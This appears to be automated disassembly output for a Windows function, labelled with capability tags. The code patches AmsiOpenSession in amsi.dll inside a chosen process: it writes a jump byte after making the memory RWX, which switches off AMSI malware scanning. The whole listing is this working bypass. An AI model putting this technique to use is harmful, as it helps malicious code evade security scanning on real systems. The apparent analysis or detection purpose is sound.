Function at 0x140001070
Capabilities:
Allocate or change rwx memory
Enumerate process modules

Disassembly:
sub rsp, 0x488
mov rax, qword [section..data]
xor rax, rsp
mov qword [rsp + 0x478], rax
mov dword [rsp + 0x474], 0
mov byte [rsp + 0x470], 0xeb
cmp ecx, 2
je 0x1400010cd
mov rdx, qword [rdx]
lea rcx, str.____Usage:__s__PID__n
call fcn.140001010
mov eax, 0xffffffff
mov rcx, qword [rsp + 0x478]
xor rcx, rsp
call fcn.1400018a0
add rsp, 0x488
ret
mov rcx, qword [rdx + 8]
mov qword [rsp + 0x490], rbx
mov qword [rsp + 0x4a0], rbp
call qword [sym.imp.api_ms_win_crt_convert_l1_1_0.dll_atoi]
xor edx, edx
mov ecx, 0x1fffff
mov r8d, eax
mov ebp, eax
call qword [sym.imp.KERNEL32.dll_OpenProcess]
mov rbx, rax
test rax, rax
jne 0x140001119
mov edx, ebp
lea rcx, str._t____Failed_to_open_PID___d__n
call fcn.140001010
mov eax, 0xffffffff
jmp 0x1400013ba
mov qword [rsp + 0x4a8], rsi
lea rcx, str.___Getting_address_of__amsi.dll__in_target_process_n
mov qword [rsp + 0x480], rdi
call fcn.140001010
mov edx, ebp
mov ecx, 8
xor edi, edi
call qword [sym.imp.KERNEL32.dll_CreateToolhelp32Snapshot]
mov rsi, rax
cmp rax, 0xffffffffffffffff
jne 0x140001180
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov edx, ebp
lea rcx, str.____Failed_to_create_snapshot_for_PID__d._Error:__d_n
mov r8d, eax
call fcn.140001010
lea rcx, str._t____Failed_to_get_handle_of__amsi.dll__n
call fcn.140001010
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, esi
jmp 0x1400013aa
lea rdx, [rsp + 0x30]
mov dword [rsp + 0x30], 0x438
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_Module32FirstW]
test eax, eax
je 0x1400011e7
nop word [rax + rax]
lea rdx, str.amsi.dll
lea rcx, [rsp + 0x60]
call qword [sym.imp.api_ms_win_crt_string_l1_1_0.dll__wcsicmp]
test eax, eax
je 0x1400011ca
lea rdx, [rsp + 0x30]
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_Module32NextW]
test eax, eax
jne 0x1400011a0
jmp 0x1400011fb
mov r8, qword [rsp + 0x48]
lea rdx, [rsp + 0x60]
lea rcx, str._t___Found_DLL___s__at_base_address:_0x_p_n_n
call fcn.140001830
mov rdi, qword [rsp + 0x48]
jmp 0x1400011fb
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov edx, eax
lea rcx, str.____Module32First_failed._Error:__d_n
call fcn.140001010
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_CloseHandle]
test rdi, rdi
jne 0x140001228
lea rcx, str._t____Failed_to_get_handle_of__amsi.dll__n
call fcn.140001010
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, 0xffffffff
jmp 0x1400013aa
lea rcx, str.___Getting_address_of__AmsiOpenSession__function_in__amsi.dll__n
call fcn.140001010
mov rdx, rdi
mov rcx, rbx
call fcn.1400013f0
mov rsi, rax
test rax, rax
jne 0x140001266
lea rcx, str._t____Failed_to_get_address_of__AmsiOpenSession__n
call fcn.140001010
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, 0xffffffff
jmp 0x1400013aa
lea rcx, str.___Getting_the_correct_patch_address_n_n
call fcn.140001010
add rsi, 3
lea rcx, str.___Changing_memory_protection_at_0x_p_to_RWX_n
mov rdx, rsi
call fcn.140001010
lea rax, [rsp + 0x474]
mov r9d, 0x40
mov r8d, 1
mov qword [rsp + 0x20], rax
mov rdx, rsi
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_VirtualProtectEx]
test eax, eax
jne 0x1400012bd
call qword [sym.imp.KERNEL32.dll_GetLastError]
lea rcx, str._t____Failed_to_change_memory_protection._Error:__d
jmp 0x140001300
mov rdx, rsi
lea rcx, str._t___Patching_address_0x_p_n
call fcn.140001010
mov r9d, 1
mov qword [rsp + 0x20], 0
lea r8, [rsp + 0x470]
mov rdx, rsi
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_WriteProcessMemory]
test eax, eax
jne 0x140001323
call qword [sym.imp.KERNEL32.dll_GetLastError]
lea rcx, str._t_t____Failed_to_patch_memory_address._Error:__d
mov edx, eax
call fcn.140001010
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_FreeLibrary]
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, 0xffffffff
jmp 0x1400013aa
lea rcx, str._t_t___Memory_patched_successfully_n_n
call fcn.140001010
lea rcx, str.___Restoring_old_memory_protection_n
call fcn.140001010
mov r9d, dword [rsp + 0x474]
lea rax, [rsp + 0x474]
mov r8d, 1
mov qword [rsp + 0x20], rax
mov rdx, rsi
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_VirtualProtectEx]
test eax, eax
jne 0x14000138a
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov edx, eax
lea rcx, str._t____Failed_to_change_memory_protection_to_old_protection_status._Error:__d
call fcn.140001010
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_FreeLibrary]
mov eax, 0xffffffff
jmp 0x1400013aa
lea rcx, str._t___Old_memory_protection_status_has_been_changed_n
call fcn.140001010
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_FreeLibrary]
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_CloseHandle]
xor eax, eax
mov rsi, qword [rsp + 0x4a8]
mov rdi, qword [rsp + 0x480]
mov rbx, qword [rsp + 0x490]
mov rbp, qword [rsp + 0x4a0]
mov rcx, qword [rsp + 0x478]
xor rcx, rsp
call fcn.1400018a0
add rsp, 0x488
ret